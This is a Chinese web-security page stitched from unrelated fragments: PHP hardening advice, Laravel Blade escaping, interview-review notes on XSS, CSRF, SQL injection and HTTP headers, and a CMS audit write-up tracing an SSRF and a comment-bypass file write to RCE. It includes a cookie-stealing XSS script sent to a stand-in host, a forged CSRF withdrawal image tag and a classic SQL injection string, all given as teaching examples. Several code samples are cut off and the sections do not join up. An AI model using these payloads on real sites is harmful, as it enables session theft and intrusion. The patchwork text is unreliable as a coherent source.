提供互聯網服務,當你在開發代碼的時候必須時刻保持安全意識。可能大部分 PHP 腳本都對安全問題都不在意,這很大程度上是因為有大量的無經驗程序員在使用這門語言。但是,沒有理由讓你因為對你的代碼的不確定性而導致不一致的安全策略。當你在服務器上放任何涉及到錢的東西時,就有可能會有人嘗試破解它。創建一個論壇程序或者任何形式的購物車,被攻擊的可能性就上升到了無窮大。
背景
為了確保你的 web 內容安全,這里有一些常規的安全準則:
別相信表單
攻擊表單很簡單。通過使用一個簡單的 JavaScript 技巧,你可以限制你的表單只允許在評分域中填寫 1 到 5 的數字。如果有人關閉了他們瀏覽器的 JavaScript 功能或者提交自定義的表單數據,你客戶端的驗證就失敗了。
用戶主要通過表單參數和你的腳本交互,因此他們是最大的安全風險。你應該學到什么呢?在 PHP 腳本中,總是要驗證 傳遞給任何 PHP 腳本的數據。在本文中,我們向你演示了如何分析和防范跨站腳本(XSS)攻擊,它可能會劫持用戶憑據(甚至更嚴重)。你也會看到如何防止會玷污或毀壞你數據的 MySQL 注入攻擊。
別相信用戶
假定你網站獲取的每一份數據都充滿了有害的代碼。清理每一部分,即便你相信沒有人會嘗試攻擊你的站點。
關閉全局變量
你可能會有的最大安全漏洞是啟用了 register_globals 配置參數。幸運的是,PHP 4.2 及以后版本默認關閉了這個配置。如果打開了register_globals,你可以在你的 php.ini 文件中通過改變 register_globals 變量為 Off 關閉該功能:
register_globals = Off
新手程序員覺得注冊全局變量很方便,但他們不會意識到這個設置有多么危險。一個啟用了全局變量的服務器會自動為全局變量賦任何形式的參數。為了了解它如何工作以及為什么有危險,讓我們來看一個例子。
假設你有一個稱為 process.php 的腳本,它會向你的數據庫插入表單數據。初始的表單像下面這樣:
name="username" type="text" size="15" maxlength="64">
運行 process.php 的時候,啟用了注冊全局變量的 PHP 會將該參數賦值到 $username 變量。這會比通過 $_POST['username'] 或$_GET['username'] 訪問它節省擊鍵次數。不幸的是,這也會給你留下安全問題,因為 PHP 會設置該變量的值為通過 GET 或 POST 的參數發送到腳本的任何值,如果你沒有顯示地初始化該變量并且你不希望任何人去操作它,這就會有一個大問題。
看下面的腳本,假如 $authorized 變量的值為 true,它會給用戶顯示通過驗證的數據。正常情況下,只有當用戶正確通過了這個假想的 authenticated_user() 函數驗證,$authorized 變量的值才會被設置為真。但是如果你啟用了 register_globals,任何人都可以發送一個 GET 參數,例如 authorized=1 去覆蓋它:
php
// Define $authorized = true only if user is authenticated
if (authenticated_user()) {
$authorized = true;
}
?>
這個故事的寓意是,你應該從預定義的服務器變量中獲取表單數據。所有通過 post 表單傳遞到你 web 頁面的數據都會自動保存到一個稱為 $_POST 的大數組中,所有的 GET 數據都保存在 $_GET 大數組中。文件上傳信息保存在一個稱為 $_FILES 的特殊數據中。另外,還有一個稱為 $_REQUEST 的復合變量。
除此之外,
PHP 轉義實現
把輸出渲染成網頁或API響應時,一定要轉義輸出,這也是一種防護措施,能避免渲染惡意代碼,造成XSS攻擊,還能防止應用的用戶無意中執行惡意代碼。
我們可以使用前面提到的htmlentities函數轉移輸出,該函數的第二個參數一定要使用ENT_QUOTES,讓這個函數轉義單引號和雙引號,而且,還要在第三個參數中指定合適的字符編碼(通常是UTF-8),下面的例子演示了如何在渲染前轉義HTML輸出:
';echo htmlentities($output, ENT_QUOTES, ‘UTF-8');
如果不轉義直接輸出,會彈出提示框:
轉義之后輸出變成:
現代PHP支持許多模板引擎,這些模板引擎在底層已經為了做好了轉義處理,比如現在流行的twig/twig和smarty/smarty都會自動轉義輸出。這種默認處理方式很贊,為PHP Web應用提供了有力的安全保障。
Blade 模板引擎避免XSS攻擊原理
Laravel使用的模板引擎是Blade,關于Blade的使用可以參考其官方文檔,這里我們簡單探討下Laravel底層如何對輸出進行轉義處理。
一般我們在Laravel中返回視圖內容會這么做:
return view(’test’, [‘data’=>$data]);
這是一個很簡單的例子,意味著我們會在resources/views目錄下找到test.blade.php視圖文件,然后將$data變量傳入其中,并將最終渲染結果作為響應的內容返回給用戶。那么這一過程經歷了哪些底層源碼的處理,如果$data變量中包含腳本代碼(如JavaScript腳本),又該怎么去處理呢?接下來我們讓來一窺究竟。
首先我們從輔助函數view入手,當然這里我們也可以使用View:make,但是簡單起見,我們一般用view函數,該函數定義在Illuminate\Foundation\helpers.php文件中:
function view($view = null, $data = [], $mergeData = []){ $factory = app(ViewFactory::class); if (func_num_args() === 0) { return $factory; } return $factory->make($view, $data, $mergeData);}
一.在web頁面嵌入PHP代碼的幾種風格
推薦使用標準風格或簡短風格
.代碼如下:
<?php
//標準風格
echo 'Hello World!';
?>
注我的微信公眾號:后端技術漫談
不定期推送關于后端開發、爬蟲、算法題、數據結構方面的原創技術文章,以及生活中的逸聞趣事。
我目前是一名后端開發工程師。主要關注后端開發,數據安全,網絡爬蟲,物聯網,邊緣計算等方向。
原創博客主要內容
本文快速回顧了常考的的知識點,用作面試復習,事半功倍。
全復習手冊文章導航
Csdn全復習手冊文章導航:
https://blog.csdn.net/qqxx6661/article/details/86775594
已發布知識點復習手冊
本文內容主要參考來自CyC2018的Github倉庫:CS-Notes
有刪減,修改,補充額外增加內容
本作品采用知識共享署名-非商業性使用 4.0 國際許可協議進行許可。
跨站腳本攻擊XSS
還可參考:https://blog.csdn.net/lpjishu/article/details/50917092
1. 概念
跨站腳本攻擊(Cross-Site Scripting, XSS),可以將代碼注入到用戶瀏覽的網頁上,這種代碼包括 HTML 和 JavaScript。
例如有一個論壇網站,攻擊者可以在上面發布以下內容:
<script>location.href="//domain.com/?c=" + document.cookie</script>
之后該內容可能會被渲染成以下形式:
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
另一個用戶瀏覽了含有這個內容的頁面將會跳轉到 domain.com 并攜帶了當前作用域的 Cookie。如果這個論壇網站通過 Cookie 管理用戶登錄狀態,那么攻擊者就可以通過這個 Cookie 登錄被攻擊者的賬號了。
2. 危害
3. 防范手段
(一)設置 Cookie 為 HttpOnly
設置了 HttpOnly 的 Cookie 可以防止 JavaScript 腳本調用,在一定程度上可以防止 XSS 竊取用戶的 Cookie 信息。
(二)過濾特殊字符
許多語言都提供了對 HTML 的過濾:
例如 htmlspecialchars() 可以將 < 轉義為 <,將 > 轉義為 >,從而避免 HTML 和 Javascript 代碼的運行。
(三)富文本編輯器的處理
富文本編輯器允許用戶輸入 HTML 代碼,就不能簡單地將 < 等字符進行過濾了,極大地提高了 XSS 攻擊的可能性。
富文本編輯器通常采用 XSS filter 來防范 XSS 攻擊,可以定義一些標簽白名單或者黑名單,從而不允許有攻擊性的 HTML 代碼的輸入。
以下例子中,form 和 script 等標簽都被轉義,而 h 和 p 等標簽將會保留。
XSS 過濾在線測試
跨站請求偽造CSRF
XSS 利用的是用戶對指定網站的信任,CSRF 利用的是網站對用戶瀏覽器的信任。
1. 概念
跨站請求偽造(Cross-site request forgery,CSRF),是攻擊者通過一些技術手段欺騙用戶的瀏覽器去訪問一個自己曾經認證過的網站并執行一些操作(如發郵件,發消息,甚至財產操作如轉賬和購買商品)。由于瀏覽器曾經認證過,所以被訪問的網站會認為是真正的用戶操作而去執行。這利用了 Web 中用戶身份驗證的一個漏洞:簡單的身份驗證只能保證請求發自某個用戶的瀏覽器,卻不能保證請求本身是用戶自愿發出的。
假如一家銀行用以執行轉賬操作的 URL 地址如下:
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName。
那么,一個惡意攻擊者可以在另一個網站上放置如下代碼:
<img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">。
如果有賬戶名為 Alice 的用戶訪問了惡意站點,而她之前剛訪問過銀行不久,登錄信息尚未過期,那么她就會損失 1000 資金。
這種惡意的網址可以有很多種形式,藏身于網頁中的許多地方。此外,攻擊者也不需要控制放置惡意網址的網站。例如他可以將這種地址藏在論壇,博客等任何用戶生成內容的網站中。這意味著如果服務器端沒有合適的防御措施的話,用戶即使訪問熟悉的可信網站也有受攻擊的危險。
透過例子能夠看出,攻擊者并不能通過 CSRF 攻擊來直接獲取用戶的賬戶控制權,也不能直接竊取用戶的任何信息。他們能做到的,是欺騙用戶瀏覽器,讓其以用戶的名義執行操作。
2. 防范手段
(一)檢查 Referer 字段
HTTP 頭中有一個 Referer 字段,這個字段用于標明請求來源于哪個地址。在處理敏感數據請求時,通常來說,Referer 字段應和請求的地址位于同一域名下,但并無法保證來訪的瀏覽器的具體實現,亦無法保證瀏覽器沒有安全漏洞影響到此字段。并且也存在攻擊者攻擊某些瀏覽器,篡改其 Referer 字段的可能。
(二)添加校驗 Token
由于 CSRF 的本質在于攻擊者欺騙用戶去訪問自己設置的地址,所以如果要求在訪問敏感數據請求時,要求用戶瀏覽器提供不保存在 Cookie 中,并且攻擊者無法偽造的數據作為校驗,那么攻擊者就無法再執行 CSRF 攻擊。這種數據通常是表單中的一個數據項。服務器將其生成并附加在表單中,其內容是一個偽亂數。當客戶端通過表單提交請求時,這個偽亂數也一并提交上去以供校驗。
正常的訪問時,客戶端瀏覽器能夠正確得到并傳回這個偽亂數,而通過 CSRF 傳來的欺騙性攻擊中,攻擊者無從事先得知這個偽亂數的值,服務器端就會因為校驗 Token 的值為空或者錯誤,拒絕這個可疑請求。
(三)要求用戶輸入驗證碼來進行校驗。
SQL 注入攻擊
1. 概念
服務器上的數據庫運行非法的 SQL 語句,主要通過拼接來完成。
2. 攻擊原理
例如一個網站登錄驗證的 SQL 查詢代碼為:
strSQL = "SELECT * FROM users WHERE (name = '" + userName + "') and (pw = '"+ passWord +"');"
如果填入以下內容:
userName = "1' OR '1'='1"; passWord = "1' OR '1'='1";
那么 SQL 查詢字符串為:
strSQL = "SELECT * FROM users WHERE (name = '1' OR '1'='1') and (pw = '1' OR '1'='1');"
此時無需驗證通過就能執行以下查詢:
strSQL = "SELECT * FROM users;"
3. 防范手段
(一)使用參數化查詢(不進行拼接)
以下以 Java 中的 PreparedStatement 為例,它是預先編譯的 SQL 語句,可以傳入適當參數并且多次執行。由于沒有拼接的過程,因此可以防止 SQL 注入的發生。
PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE userid=? AND password=?"); stmt.setString(1, userid); stmt.setString(2, password); ResultSet rs = stmt.executeQuery();
(二)單引號轉換
將傳入的參數中的單引號轉換為連續兩個單引號
(三)檢查變量數據類型和格式
拒絕服務攻擊
拒絕服務攻擊(denial-of-service attack,DoS),亦稱洪水攻擊,其目的在于使目標電腦的網絡或系統資源耗盡,使服務暫時中斷或停止,導致其正常用戶無法訪問。
分布式拒絕服務攻擊(distributed denial-of-service attack,DDoS),指攻擊者使用網絡上兩個或以上被攻陷的電腦作為“僵尸”向特定的目標發動“拒絕服務”式攻擊。
維基百科:拒絕服務攻擊
URI
URI 包含 URL 和 URN。
在這里插入圖片描述
HTTP請求報文和HTTP響應報文
HTTP請求報文
一個HTTP請求報文由請求行(request line)、請求頭部(header)、空行和請求數據4個部分組成,下圖給出了請求報文的一般格式。
<request-line> 請求行 <headers> 請求頭 <blank line> 空格 <request-body> 請求數據
在這里插入圖片描述
HTTP響應報文
HTTP響應也由三個部分組成,分別是:狀態行、消息報頭、響應正文。
<status-line> <headers> <blank line> <response-body>
在這里插入圖片描述
GET
獲取資源
當前網絡請求中,絕大部分使用的是 GET 方法。
HEAD
獲取報文首部
和 GET 方法一樣,但是不返回報文實體主體部分。
主要用于確認 URL 的有效性以及資源更新的日期時間等。
POST
傳輸實體主體
POST 主要用來傳輸數據,而 GET 主要用來獲取資源。
更多 POST 與 GET 的比較請見第八章。
PUT
上傳文件
由于自身不帶驗證機制,任何人都可以上傳文件,因此存在安全性問題,一般不使用該方法
PATCH
對資源進行部分修改
PUT 也可以用于修改資源,但是只能完全替代原始資源,PATCH 允許部分修改。
DELETE
刪除文件
與 PUT 功能相反,并且同樣不帶驗證機制。
DELETE /file.html HTTP/1.1
OPTIONS
查詢支持的方法
查詢指定的 URL 能夠支持的方法。
會返回 Allow: GET, POST, HEAD, OPTIONS 這樣的內容。
CONNECT
要求用隧道協議連接代理
要求在與代理服務器通信時建立隧道,使用 SSL(Secure Sockets Layer,安全套接層)和 TLS(Transport Layer Security,傳輸層安全)協議把通信內容加密后經網絡隧道傳輸。
在這里插入圖片描述
TRACE
追蹤路徑
服務器會將通信路徑返回給客戶端。
發送請求時,在 Max-Forwards 首部字段中填入數值,每經過一個服務器就會減 1,當數值為 0 時就停止傳輸。
通常不會使用 TRACE,并且它容易受到 XST 攻擊(Cross-Site Tracing,跨站追蹤),因此更不會去使用它。
有 4 種類型的首部字段:通用首部字段、請求首部字段、響應首部字段和實體首部字段。
各種首部字段及其含義如下(不需要全記,僅供查閱):
通用首部字段
首部字段名 說明 Cache-Control 控制緩存的行為 Connection 控制不再轉發給代理的首部字段、管理持久連接 Date 創建報文的日期時間 Pragma 報文指令 Trailer 報文末端的首部一覽 Transfer-Encoding 指定報文主體的傳輸編碼方式 Upgrade 升級為其他協議 Via 代理服務器的相關信息 Warning 錯誤通知
請求首部字段
首部字段名 說明 Accept 用戶代理可處理的媒體類型 Accept-Charset 優先的字符集 Accept-Encoding 優先的內容編碼 Accept-Language 優先的語言(自然語言) Authorization Web 認證信息 Expect 期待服務器的特定行為 From 用戶的電子郵箱地址 Host 請求資源所在服務器 If-Match 比較實體標記(ETag) If-Modified-Since 比較資源的更新時間 If-None-Match 比較實體標記(與 If-Match 相反) If-Range 資源未更新時發送實體 Byte 的范圍請求 If-Unmodified-Since 比較資源的更新時間(與 If-Modified-Since 相反) Max-Forwards 最大傳輸逐跳數 Proxy-Authorization 代理服務器要求客戶端的認證信息 Range 實體的字節范圍請求 Referer 對請求中 URI 的原始獲取方 TE 傳輸編碼的優先級 User-Agent HTTP 客戶端程序的信息
響應首部字段
首部字段名 說明 Accept-Ranges 是否接受字節范圍請求 Age 推算資源創建經過時間 ETag 資源的匹配信息 Location 令客戶端重定向至指定 URI Proxy-Authenticate 代理服務器對客戶端的認證信息 Retry-After 對再次發起請求的時機要求 Server HTTP 服務器的安裝信息 Vary 代理服務器緩存的管理信息 WWW-Authenticate 服務器對客戶端的認證信息
實體首部字段
首部字段名 說明 Allow 資源可支持的 HTTP 方法 Content-Encoding 實體主體適用的編碼方式 Content-Language 實體主體的自然語言 Content-Length 實體主體的大小 Content-Location 替代對應資源的 URI Content-MD5 實體主體的報文摘要 Content-Range 實體主體的位置范圍 Content-Type 實體主體的媒體類型 Expires 實體主體過期的日期時間 Last-Modified 資源的最后修改日期時間
Cookie
HTTP/1.1 引入 Cookie 來保存狀態信息。
1. 用途
由于服務器指定 Cookie 后,瀏覽器的每次請求都會攜帶 Cookie 數據,會帶來額外的性能開銷(尤其是在移動環境下)。
新的瀏覽器 API 已經允許開發者直接將數據存儲到本地,如使用 Web storage API (本地存儲和會話存儲)或 IndexedDB。
2. 創建過程
HTTP/1.0 200 OK Content-type: text/html Set-Cookie: yummy_cookie=choco Set-Cookie: tasty_cookie=strawberry [page content]
客戶端之后對同一個服務器發送請求時,會從瀏覽器中取出 Cookie 信息并通過 Cookie 請求首部字段發送給服務器。
GET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: yummy_cookie=choco; tasty_cookie=strawberry
3. 分類
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
4. 作用域
Domain 標識指定了哪些主機可以接受 Cookie。如果不指定,默認為當前文檔的主機(不包含子域名)。如果指定了 Domain,則一般包含子域名。例如,如果設置 Domain=mozilla.org,則 Cookie 也包含在子域名中(如 developer.mozilla.org)。
Path 標識指定了主機下的哪些路徑可以接受 Cookie(該 URL 路徑必須存在于請求 URL 中)。以字符 %x2F ("/") 作為路徑分隔符,子路徑也會被匹配。例如,設置 Path=/docs,則以下地址都會匹配:
5. JavaScript
通過 Document.cookie 屬性可創建新的 Cookie,也可通過該屬性訪問非 HttpOnly 標記的 Cookie。
document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie);
6. Secure 和 HttpOnly
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
7. Session和cookie選擇
除了可以將用戶信息通過 Cookie 存儲在用戶瀏覽器中,也可以利用 Session 存儲在服務器端,存儲在服務器端的信息更加安全。
Session 可以存儲在服務器上的文件、數據庫或者內存中。也可以將 Session 存儲在 Redis 這種內存型數據庫中,效率會更高。
使用 Session 維護用戶登錄狀態的過程如下:
應該注意 Session ID 的安全性問題,不能讓它被惡意攻擊者輕易獲取,那么就不能產生一個容易被猜到的 Session ID 值。此外,還需要經常重新生成 Session ID。在對安全性要求極高的場景下,例如轉賬等操作,除了使用 Session 管理用戶狀態之外,還需要對用戶進行重新驗證,比如重新輸入密碼,或者使用短信驗證碼等方式。
緩存
1. 優點
2. 實現方法
3. Cache-Control
HTTP/1.1 通過 Cache-Control 首部字段來控制緩存。
(一)禁止進行緩存
no-store 指令規定不能對請求或響應的任何一部分進行緩存。
Cache-Control: no-store
(二)強制確認緩存
no-cache 指令規定緩存服務器需要先向源服務器驗證緩存資源的有效性,只有當緩存資源有效才將能使用該緩存對客戶端的請求進行響應。
Cache-Control: no-cache
(三)私有緩存和公共緩存
private 指令規定了將資源作為私有緩存,只能被單獨用戶所使用,一般存儲在用戶瀏覽器中。
Cache-Control: private
public 指令規定了將資源作為公共緩存,可以被多個用戶所使用,一般存儲在代理服務器中。
Cache-Control: public
(四)緩存過期機制
max-age 指令出現在請求報文中,并且緩存資源的緩存時間小于該指令指定的時間,那么就能接受該緩存。
max-age 指令出現在響應報文中,表示緩存資源在緩存服務器中保存的時間。
Cache-Control: max-age=31536000
Expires 字段也可以用于告知緩存服務器該資源什么時候會過期。在 HTTP/1.1 中,會優先處理 Cache-Control : max-age 指令;而在 HTTP/1.0 中,Cache-Control : max-age 指令會被忽略掉。
Expires: Wed, 04 Jul 2012 08:26:05 GMT
4. 緩存驗證
需要先了解 ETag 首部字段的含義,它是資源的唯一表示。URL 不能唯一表示資源,例如 http://www.google.com/ 有中文和英文兩個資源,只有 ETag 才能對這兩個資源進行唯一表示。
ETag: "82e22293907ce725faf67773957acd12"
可以將緩存資源的 ETag 值放入 If-None-Match 首部,服務器收到該請求后,判斷緩存資源的 ETag 值和資源的最新 ETag 值是否一致,如果一致則表示緩存資源有效,返回 304 Not Modified。
If-None-Match: "82e22293907ce725faf67773957acd12"
Last-Modified 首部字段也可以用于緩存驗證,它包含在源服務器發送的響應報文中,指示源服務器對資源的最后修改時間。但是它是一種弱校驗器,因為只能精確到一秒,所以它通常作為 ETag 的備用方案。如果響應首部字段里含有這個信息,客戶端可以在后續的請求中帶上 If-Modified-Since 來驗證緩存。服務器只在所請求的資源在給定的日期時間之后對內容進行過修改的情況下才會將資源返回,狀態碼為 200 OK。如果請求的資源從那時起未經修改,那么返回一個不帶有消息主體的 304 Not Modified 響應,
Last-Modified: Wed, 21 Oct 2015 07:28:00 GMT
If-Modified-Since: Wed, 21 Oct 2015 07:28:00 GMT
連接管理
[圖片上傳失敗…(image-3cf4fc-1550224161268)]
1. 短連接與長連接
2. 流水線
默認情況下,HTTP 請求是按順序發出的,下一個請求只有在當前請求收到應答過后才會被發出。由于會受到網絡延遲和帶寬的限制,在下一個請求被發送到服務器之前,可能需要等待很長時間。
流水線是在同一條長連接上發出連續的請求,而不用等待響應返回,這樣可以避免連接延遲。
內容協商
通過內容協商返回最合適的內容,例如根據瀏覽器的默認語言選擇返回中文界面還是英文界面。
1. 類型
1.1 服務端驅動型
客戶端設置特定的 HTTP 首部字段,例如 Accept、Accept-Charset、Accept-Encoding、Accept-Language,服務器根據這些字段返回特定的資源。
它存在以下問題:
1.2 代理驅動型
服務器返回 300 Multiple Choices 或者 406 Not Acceptable,客戶端從中選出最合適的那個資源。
2. Vary
Vary: Accept-Language
在使用內容協商的情況下,只有當緩存服務器中的緩存滿足內容協商條件時,才能使用該緩存,否則應該向源服務器請求該資源。
例如,一個客戶端發送了一個包含 Accept-Language 首部字段的請求之后,源服務器返回的響應包含 Vary: Accept-Language 內容,緩存服務器對這個響應進行緩存之后,在客戶端下一次訪問同一個 URL 資源,并且 Accept-Language 與緩存中的對應的值相同時才會返回該緩存。
內容編碼
內容編碼將實體主體進行壓縮,從而減少傳輸的數據量。常用的內容編碼有:gzip、compress、deflate、identity。
瀏覽器發送 Accept-Encoding 首部,其中包含有它所支持的壓縮算法,以及各自的優先級,服務器則從中選擇一種,使用該算法對響應的消息主體進行壓縮,并且發送 Content-Encoding 首部來告知瀏覽器它選擇了哪一種算法。由于該內容協商過程是基于編碼類型來選擇資源的展現形式的,在響應中,Vary 首部中至少要包含 Content-Encoding,這樣的話,緩存服務器就可以對資源的不同展現形式進行緩存。
范圍請求
如果網絡出現中斷,服務器只發送了一部分數據,范圍請求可以使得客戶端只請求服務器未發送的那部分數據,從而避免服務器重新發送所有數據。
1. Range
在請求報文中添加 Range 首部字段指定請求的范圍。
GET /z4d4kWk.jpg HTTP/1.1 Host: i.imgur.com Range: bytes=0-1023
請求成功的話服務器返回的響應包含 206 Partial Content 狀態碼。
2. Accept-Ranges
響應首部字段 Accept-Ranges 用于告知客戶端是否能處理范圍請求,可以處理使用 bytes,否則使用 none。
Accept-Ranges: bytes
3. 響應狀態碼
分塊傳輸編碼
Chunked Transfer Coding,可以把數據分割成多塊,讓瀏覽器逐步顯示頁面。
多部分對象集合
一份報文主體內可含有多種類型的實體同時發送,每個部分之間用 boundary 字段定義的分隔符進行分隔,每個部分都可以有首部字段。
例如,上傳多個表單時可以使用如下方式:
Content-Type: multipart/form-data; boundary=AaB03x --AaB03x Content-Disposition: form-data; name="submit-name" Larry --AaB03x Content-Disposition: form-data; name="files"; filename="file1.txt" Content-Type: text/plain ... contents of file1.txt ... --AaB03x--
虛擬主機
HTTP/1.1 使用虛擬主機技術,使得一臺服務器擁有多個域名,并且在邏輯上可以看成多個服務器。
通信數據轉發
1. 代理
代理服務器接受客戶端的請求,并且轉發給其它服務器。
使用代理的主要目的是:
代理服務器分為正向代理和反向代理兩種:
2. 網關
與代理服務器不同的是,網關服務器會將 HTTP 轉化為其它協議進行通信,從而請求其它非 HTTP 服務器的服務。
3. 隧道
使用 SSL 等加密手段,為客戶端和服務器之間建立一條安全的通信線路。
我是一名后端開發工程師。主要關注后端開發,數據安全,網絡爬蟲,物聯網,邊緣計算等方向,歡迎交流。
各大平臺都可以找到我
原創博客主要內容
個人公眾號:后端技術漫談
如果文章對你有幫助,不妨收藏起來并轉發給您的朋友們~
這篇文章:該 CMS 版本是 4.2。以下漏洞均被 CNVD 收錄。
PHP版本用 7.0.9 就好了。
根據功能點定向審計,在后臺的工具欄有一個采集功能,根據經驗這種功能一般存在 SSRF。
【一>所有資源關注我,私信回復"資料"獲取<一】
1、網絡安全學習路線
2、電子書籍(白帽子)
3、安全大廠內部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經典題目解析
7、全套工具包
8、應急響應筆記
使用 python3 在本地開啟簡易的 http 服務。
點擊下一步,果不其然存在 SSRF。
進行漏洞分析。
根據 burpsuite 抓到的請求包很容易定位到代碼位置。
在文件 upload/plugins/sys/admin/Collect.php#Collect->add,POST 的參數cjurl 未做安全處理被傳入到 $this->caiji->str 方法。
那么我們跟進到 $this->caiji->str 方法,但是 phpstorm 找不到定義該方法的位置。
解決辦法,我們可以連續按兩下 Shift 鍵直接尋找。
跟進到 str 方法后,發現 url 參數被傳入 htmlall 方法,繼續跟進該方法。
可以看到 htmlall 方法使用了 curl 請求 url。
基本上有調用 $this->caiji->str 方法的地方都存在 SSRF 漏洞。
通過敏感函數回溯參數過程的方式找到該漏洞。
在 upload/cscms/app/helpers/common_helper.php#write_file 使用了文件寫入的敏感函數,跟 SSRF 的 htmlall 是同一個文件。
使用 Ctrl+Shift+F 查找哪些位置調用了 write_file,在 upload/plugins/sys/admin/Plugins.php#Plugins->_route_file 調用了 write_file函數,并且 note[note[key][‘name’] 和 note[note[key][‘url’] 的值是以字符串方式拼接到文件內容的,該內容是注釋,我們可以使用換行繞過。
查找哪些位置調用了 _route_file,跟蹤 $note 的值是否可控,調用該函數的位置有很多,最終找到一處可利用。在 upload/plugins/sys/admin/Plugins.php#Plugins->setting_save 調用了 _route_file,由于該函數內容有點多,所以我將它拆分成兩個界面,一些不重要的內容進行閉合。畫紅線的位置是調用到 _route_file 必須設置的,可以看到在標藍色3的位置獲取到了 $note 的值,分析到這里可以開始復現了。
使用 burpsuite 抓取請求包。
修改請求包內容寫入構造好的代碼,可以看到我使用了 %0a 換行去繞過注釋。
在 upload/cscms/config/dance/rewrite.php 可以看到成功寫入。
尋找引用 rewrite.php 的位置,懶得去看代碼了,通過點擊各個頁面,經過不懈努力終于在個人中心的音樂頁面找到,所以你需要注冊一個會員用戶。
重放 burpsuite 抓到的請求包,成功輸出內容。
到這里其實事情還沒有結束,當我嘗試寫入惡意內容發現被轉義了。
試了 eval、shell_exec 等均被轉義,但是 assert 沒有被轉義,考慮到 assert 在PHP7版本之后的問題,我還是需要找一個更好的辦法。懶得去看轉義的代碼了,我根據PHP的動態特性使用以下方法成功 RCE。
此次代碼審計使用了通用代碼審計思路的兩種,第一種:根據功能點定向審計、第二種:敏感函數回溯參數過程,沒有用到的是通讀全文代碼。活用 phpstorm 可以讓代碼審計的效率大大增加。
*請認真填寫需求信息,我們會在24小時內與您取得聯系。